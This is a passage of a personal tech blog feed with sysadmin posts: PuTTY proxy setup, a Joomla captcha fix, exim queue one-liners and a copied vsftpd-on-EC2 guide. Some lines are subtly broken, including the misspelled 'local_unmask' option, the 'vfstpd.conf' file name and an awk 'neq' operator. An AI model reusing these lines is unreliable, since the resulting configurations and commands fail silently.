<a href="http://4.bp.blogspot.com/-3SH63Fcn95E/VRwsGsk_eII/AAAAAAAABa0/xXeEEZNbfHA/s1600/Screen%2BShot%2B04-01-15%2Bat%2B01.34%2BPM.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-3SH63Fcn95E/VRwsGsk_eII/AAAAAAAABa0/xXeEEZNbfHA/s1600/Screen%2BShot%2B04-01-15%2Bat%2B01.34%2BPM.JPG" height="307" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then on Firefox, go to Tools->Option->Advanced->Network, and configure as seen here (if you used other port than 1234, be sure to put it here accordingly):</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-0oNERCva4ZQ/VRwsmCxmSVI/AAAAAAAABa8/jCf2u835koM/s1600/Screen%2BShot%2B04-01-15%2Bat%2B01.35%2BPM.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-0oNERCva4ZQ/VRwsmCxmSVI/AAAAAAAABa8/jCf2u835koM/s1600/Screen%2BShot%2B04-01-15%2Bat%2B01.35%2BPM.JPG" height="320" width="250" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Click OK and that's it!<br />
<br />
Now you have to connect to the putty session you configured and voilà.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-85399524931635798882013-11-23T13:47:00.002-08:002013-11-23T13:47:13.903-08:00Joomla 3.2 and captcha not appearingSo I activated Joomla 3.2's captcha feature for contact forms.<br />
<br />
It turned out it wasn't appearing.<br />
<br />
So I followed this tutorial (must do) but still it wasn't working.<br />
<br />
It didn't took much to realize I had still to fix some bugs in the lines 23-24 of the file plugins\captcha\recaptcha\recaptcha.php<br />
<br />
I changed those lines so they read:<br />
<br />
const RECAPTCHA_API_SERVER = "http://www.google.com/recaptcha/api";<br /> const RECAPTCHA_API_SECURE_SERVER = "https://www.google.com/recaptcha/api";<br /> const RECAPTCHA_VERIFY_SERVER = "http://www.google.com";<br />
<br />
Bottom line, the "http://" was missing...<br />
<br />
And after that it worked like a charm : ) <br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-28757940542207916722013-10-30T19:33:00.000-07:002013-10-30T19:33:48.775-07:00scanning exim frozen mails for spamI had a bunch of frozen emails. I wanted to be sure there was no spam. I did this command:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">exim -bp | awk <span style="background-color: #fff0f0;">'{if ($3!="") {print "newMessage"; system("exim -Mvb " $3) } }'</span> | awk <span style="background-color: #fff0f0;">'BEGIN{RS="<span style="line-height: 125%;">newMessage</span></span><span style="background-color: #fff0f0; line-height: 125%;">"} !/different string|I do not want|to include inside|mails/{print $0}'</span><span style="line-height: 125%;"> | less</span></pre>
</div>
<br />
So I ignore mails containing certain words and remain only with those strange mails.<br />
<br />
I discovered I had sent no spam, but instead I had received undeliverable mail which mas kept frozen.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-56694027863248128302013-10-17T20:00:00.000-07:002013-10-17T20:00:10.336-07:00exim commandsDelete queue:<br />
<br />
sudo exim -bp | awk '{print $3}' | xargs exim -Mrm<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-67096930570758044822013-10-17T19:56:00.000-07:002013-10-17T19:56:01.892-07:00extracting mailing script out of exim queue, using awkThis is a nice command I came to:<br />
<br />
exim -bp | awk '{ if ($3 neq '') system("exim -Mvh " $3) }' | grep Script | awk '{ print $3}' | sort<br />
<br />
It prints the scripts of my server that have send mail.<br />
<br />
It is also useful the mail.log php directive, that logs a lot of information of every script that send mail with mail() in php.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-53623137440854239212013-09-07T12:06:00.002-07:002013-09-07T12:06:33.328-07:00guide to effectively configure vsftp with chroot'ed users on Amazon EC2VSFTP is fast and secure FTP server.<br />
<br />
It is easy to configure. I needed it to work with Amazon EC2. Here's how.<br />
<br />
I took this guide: <a href="http://blog.liwen.name/configure-vsftpd-on-amazon-ec2/148">http://blog.liwen.name/configure-vsftpd-on-amazon-ec2/148</a><br />
<br />
<h1 style="color: #4f4f4f; font-family: OpenSansCondensedBold, 'arial narrow', arial, sans-serif; font-size: 2.6em; font-weight: normal; line-height: 1.2; margin: 0.6em 0px 0.5em;">
Configure vsftpd on Amazon EC2</h1>
<div class="post-meta post-aside" style="color: #222222; float: left; font-family: sans-serif; font-size: 16px; line-height: 22px; margin-left: -14.9375em; margin-top: 0.35em; text-align: right; width: 12em;">
<div style="color: #bfbfbf; font-family: OpenSansCondensedLightItalic, 'arial narrow', sans-serif; font-size: 1.2em; line-height: 1.3; padding: 0px;">
Tue, April 24, 2012</div>
<div style="color: #bfbfbf; font-family: OpenSansCondensedLightItalic, 'arial narrow', sans-serif; font-size: 1.2em; line-height: 1.3; padding: 0px;">
posted under: <a href="http://blog.liwen.name/tag/amazon-aws" rel="tag" style="-webkit-transition: all 0.2s ease-in-out; border: none; color: #bfbfbf; text-decoration: none; transition: all 0.2s ease-in-out;">Amazon AWS</a>,<a href="http://blog.liwen.name/tag/cloud-hosting" rel="tag" style="-webkit-transition: all 0.2s ease-in-out; border: none; color: #bfbfbf; text-decoration: none; transition: all 0.2s ease-in-out;">cloud hosting</a>, <a href="http://blog.liwen.name/tag/server" rel="tag" style="-webkit-transition: all 0.2s ease-in-out; border: none; color: #bfbfbf; text-decoration: none; transition: all 0.2s ease-in-out;">server</a></div>
<div style="color: #bfbfbf; font-family: OpenSansCondensedLightItalic, 'arial narrow', sans-serif; font-size: 1.2em; line-height: 1.3; padding: 0px;">
last updated: 2012-11-10</div>
</div>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
There are quite a few FTP server options available for Debian: <a href="http://www.proftpd.org/" style="-webkit-transition: all 0.2s ease-in-out; color: #4f4f4f; transition: all 0.2s ease-in-out;">ProFTPD</a>, <a href="http://www.pureftpd.org/project/pure-ftpd" style="-webkit-transition: all 0.2s ease-in-out; color: #4f4f4f; transition: all 0.2s ease-in-out;">Pure-FTPd</a> and <a href="http://www.wu-ftpd.info/" style="-webkit-transition: all 0.2s ease-in-out; color: #4f4f4f; transition: all 0.2s ease-in-out;">wu-ftpd</a> to name a few. Here we opt for<a href="https://security.appspot.com/vsftpd.html" style="-webkit-transition: all 0.2s ease-in-out; color: #4f4f4f; transition: all 0.2s ease-in-out;">vsftpd (very secure FTP daemon)</a>, the default FTP server included in Ubuntu, CentOS, Fedora and some other Linux distributions.</div>
<h2 style="color: #4f4f4f; font-family: OpenSansCondensedBold, 'arial narrow', arial, sans-serif; font-weight: normal; line-height: 1.2; margin: 0.8em 0px 0.4em; padding: 0px;">
Install</h2>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">apt</span><span class="pun" style="color: white;">-</span><span class="kwd" style="color: #e28964;">get</span><span class="pln" style="color: white;"> update apt</span><span class="pun" style="color: white;">-</span><span class="kwd" style="color: #e28964;">get</span><span class="pln" style="color: white;"> install vsftpd</span></pre>
<h2 style="color: #4f4f4f; font-family: OpenSansCondensedBold, 'arial narrow', arial, sans-serif; font-weight: normal; line-height: 1.2; margin: 0.8em 0px 0.4em; padding: 0px;">
Configure vsftpd</h2>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
The configuration file <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">/etc/vsftpd.conf</code> of vsftpd is very well commented. Read it through if you want to, otherwise here are a few changes need to be made in order to get it to work with Amazon EC2. The explanation of these changes are mostly quoted from manpages of vsftpd configure package.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">nano </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">etc</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">vfstpd</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">conf</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
First let’s disable anonymous logins:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">anonymous_enable</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">NO</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Enable local logins to allow local users to connect via FTP, this must be enabled for any non-anonymous login to work.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">local_enable</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">YES</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Give FTP users write permission:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">write_enable</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">YES</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Disnable PORT style data connections with port 20. It makes vsftpd run with slightly less privilege.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">connect_from_port_20</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">NO</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Restrict local users (all FTP users) in chroot jails (their home directory):</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">chroot_local_user</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">YES</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
To set proper permissions for files(644) and directories(755):</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">local_unmask</span><span class="pun" style="color: white;">=</span><span class="lit" style="color: #3387cc;">022</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Specify a range of ports for vsftpd to run PASV connections</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">pasv_max_port</span><span class="pun" style="color: white;">=</span><span class="lit" style="color: #3387cc;">12100</span><span class="pln" style="color: white;">
pasv_min_port</span><span class="pun" style="color: white;">=</span><span class="lit" style="color: #3387cc;">12000</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
After setting up the port range, go to your EC2 console and open the ports specified above, also don’t forget to open the default ftp port 21.</div>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
It turns out that vsftpd advises the incomming PASV command the internal IP of EC2 instance, which FTP clients <span style="color: black; font-family: OpenSansItalic, 'Open Sans', arial, sans-serif; font-size: 1em; line-height: 1.2;">would not be able to resolve</span>. To solve this problem, we explicitly tell vsftp to use our public IP address instead of asking the server for it. If you don’t have an Elastic IP associated with the instance, you will need to enable <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">pasv_addr_resolve</code> and provide your public DNS.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">pasv_address</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">your</span><span class="pun" style="color: white;">.</span><span class="kwd" style="color: #e28964;">public</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">ip</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">address</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
That is all we have to do with <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">vsftpd.conf</code> for now. Next let’s setup our first FTP user.</div>
<h2 style="color: #4f4f4f; font-family: OpenSansCondensedBold, 'arial narrow', arial, sans-serif; font-weight: normal; line-height: 1.2; margin: 0.8em 0px 0.4em; padding: 0px;">
Setup FTP users</h2>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
To enable group-based FTP access and also make things more organised, create a dedicated FTP user group.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">addgroup ftpusers</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Next create our first FTP user:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">useradd </span><span class="pun" style="color: white;">-</span><span class="pln" style="color: white;">d </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">home</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">web</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">your</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">root</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">ftp</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">dir</span><span class="pun" style="color: white;">/</span><span class="kwd" style="color: #e28964;">for</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">the</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">user </span><span class="pun" style="color: white;">-</span><span class="pln" style="color: white;">s </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">usr</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">sbin</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">nologin </span><span class="pun" style="color: white;">-</span><span class="pln" style="color: white;">g ftpusers devuser</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Here we added a new user <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">devuser</code> with home directory <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">/home/web/your/root/ftp/dir/for/the/user</code>, we obviously do not want FTP users to have shell access, <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">-s</code> option sets user’s shell to <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">nologin</code>. <span style="color: black; font-family: OpenSansItalic, 'Open Sans', arial, sans-serif; font-size: 1em; line-height: 1.2;">Note:</span> don’t forget to add <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">nologin</code> into<code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">/etc/shells</code>, otherwise FTP users may not be able to login via FTP clients.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">echo </span><span class="str" style="color: #65b042;">"/usr/sbin/nologin"</span><span class="pln" style="color: white;"> </span><span class="pun" style="color: white;">>></span><span class="pln" style="color: white;"> </span><span class="str" style="color: #65b042;">/etc/</span><span class="pln" style="color: white;">shells</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Set a password for the user:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">passwd devuser</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
To allow FTP users to read and write files in their chroot jails (home directories), we need to let FTP users take ownership of their home directories and give them proper permission.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">chown </span><span class="pun" style="color: white;">-</span><span class="pln" style="color: white;">R devuser </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">home</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">web</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">your</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">root</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">ftp</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">dir</span><span class="pun" style="color: white;">/</span><span class="kwd" style="color: #e28964;">for</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">the</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">user
chmod </span><span class="lit" style="color: #3387cc;">775</span><span class="pln" style="color: white;"> </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">home</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">web</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">your</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">root</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">ftp</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">dir</span><span class="pun" style="color: white;">/</span><span class="kwd" style="color: #e28964;">for</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">the</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">user</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Create a userlist for vsftpd and add all FTP users into the list – one user per line:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">touch </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">etc</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">vsftpd</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">userlist
nano </span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">etc</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">vsftpd</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">userlist</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
The userlist file should look like this:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">devuser
user2
user3</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Save <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">/etc/vsftpd.userlist</code>, reopen <code style="font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 1em;">/etc/vsftpd.conf</code> and add the following lines to the end of the file:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">userlist_enable</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">YES
userlist_file</span><span class="pun" style="color: white;">=</span><span class="str" style="color: #65b042;">/etc/</span><span class="pln" style="color: white;">vsftpd</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">userlist</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
If you only want to allow the users in the userlist to login and deny anyone else, you can also set:</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="pln" style="color: white;">userlist_deny</span><span class="pun" style="color: white;">=</span><span class="pln" style="color: white;">NO</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Now save the file, restart the vsftpd service.</div>
<pre class="prettyprint lang-bash" style="background-color: #262626; border: 1px solid rgb(81, 81, 81); box-shadow: rgb(187, 187, 187) 5px 5px 0px; color: #222222; font-family: consolas, 'dejavu sans mono', monaco, monospace, monospace; font-size: 0.8em; margin-bottom: 0.85em; margin-top: 0.85em; padding: 0.5em; white-space: pre-wrap; width: 689.671875px; word-wrap: break-word;"><span class="str" style="color: #65b042;">/etc/</span><span class="pln" style="color: white;">init</span><span class="pun" style="color: white;">.</span><span class="pln" style="color: white;">d</span><span class="pun" style="color: white;">/</span><span class="pln" style="color: white;">vsftpd restart</span></pre>
<div style="color: #515151; font-family: 'Open Sans', OpenSansRegular, arial, sans-serif; font-size: 0.75em; line-height: 1.5; margin: 0.2em auto 0.6em;">
Phew, that’s it, now you have successfully configured vsftpd on Amazon EC2 instance.</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-8669641153300129187.post-80379203297618962322013-08-02T10:09:00.000-07:002013-08-02T10:09:38.460-07:00common pitfalls using phonegap + jquerymobileI fell in quite a few of these... :<br />
<br />
(taken from: <a href="http://rip747.wordpress.com/2012/04/19/pitfalls-with-jquery-mobile-and-how-to-over-come-them/">http://rip747.wordpress.com/2012/04/19/pitfalls-with-jquery-mobile-and-how-to-over-come-them/</a>)<br />
<br />
<h2 id="post-976" style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 22px; font-weight: normal; margin: 0px 0px 15px; padding: 0px;">
Pitfalls with jQuery Mobile and how to over come them</h2>
<div class="meta" style="background-color: #333333; color: #eeeeee; font-family: Arial, Helvetica, sans-serif; font-size: 11px; margin: 0px 0px 10px; padding: 4px 6px;">
Posted in <a href="http://rip747.wordpress.com/category/jquery/" rel="category tag" style="color: #eeeeee; font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;" title="View all posts in Jquery">Jquery</a>, <a href="http://rip747.wordpress.com/category/jquery-mobile/" rel="category tag" style="color: #eeeeee; font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;" title="View all posts in jquery mobile">jquery mobile</a> by rip747 on April 19, 2012</div>
<div class="main" style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 14px; margin: 0px; padding: 0px;">
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
At work I’ve been tasked with creating a mobile app using <a href="http://jquerymobile.com/" style="color: #004276; margin: 0px; padding: 0px;" target="_blank">jQuery Mobile</a> and <a href="http://phonegap.com/" style="color: #004276; margin: 0px; padding: 0px;" target="_blank">Phonegap</a>. Needless to say, I’ve had nothing but issues. Below are some of the pitfalls that I’ve been running into and how to over come them. This post is a work in progress and I will add to it as things come up.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
1) <strong style="margin: 0px; padding: 0px;">When creating additional pages, ONLY include the `data-role=”page”`.</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
